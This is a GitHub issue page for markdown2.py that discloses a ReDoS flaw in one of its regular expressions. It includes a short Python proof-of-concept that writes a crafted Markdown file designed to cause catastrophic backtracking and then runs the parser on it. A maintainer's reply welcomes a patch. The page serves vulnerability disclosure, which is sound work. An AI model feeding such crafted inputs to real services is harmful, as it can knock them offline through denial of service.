Skip to content

A ReDoS vulnerability exists in markdown2.py #493

Closed

Description

@DarkTinia

The affected code is located in markdown2.py-line2251. It uses the vulnerable regular expression \*\*(?=\S)(.+?[*_]*)(?<=\S)\*\*. When the match fails, it will cause catastrophic backtracking.
I trigger the vulnerability using the python script below

import os
f = open('attack.md','a')
f.write('**_' + '*_'*38730*10 + '\x00')
f.close()
os.system("python markdown2.py attack.md")

I can provide you a patch to repair the ReDoS vulnerability

Activity

  1. nicholasserra commented on Jan 17, 2023

    @nicholasserra
    Collaborator

    Thanks for the report! Yes if you'd like to contribute a patch a PR is welcome :)

  2. added a commit that references this issue on Oct 9, 2023
  3. added a commit that references this issue on Oct 18, 2023
    78b6139
  4. added a commit that references this issue on Oct 20, 2023
    958eea4
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions